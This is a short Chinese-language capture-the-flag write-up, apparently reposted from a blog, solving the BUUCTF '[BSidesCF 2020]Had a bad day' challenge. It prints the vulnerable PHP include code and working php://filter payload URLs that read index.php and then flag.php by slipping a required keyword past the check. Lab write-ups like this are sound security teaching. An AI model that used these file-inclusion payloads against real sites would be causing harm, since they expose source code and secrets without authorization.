buuctf-[BSidesCF 2020]Had a bad day

打开环境

就两个按钮,随便按按

url变了

 

还有

像文件包含,使用php伪协议读取一下,但是发现报错,而且有两个.php,可能是自己会加上php后缀

所以把后缀去掉

/index.php?category=php://filter/convert.base64-encode/resource=index

看到一串base64,解码

 

 <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

 忘记这个函数了

 

 

传入的category需要有woofers,meowers,index其中一个才能包含传入以传入名为文件名的文件,要想办法包含flag.php
尝试直接读取/index.php?category=woofers/../flag 

还是用php伪协议

?category=php://filter/convert.base64-encode/resource=flag

但是文件里面必须要有index,woofers,meowers之中的一个改payload

/index.php/?category=php://filter/convert.base64-encode/woofers/resource=flag

成功

解码一下

猜你喜欢

转载自blog.csdn.net/2202_75317918/article/details/133563761
今日推荐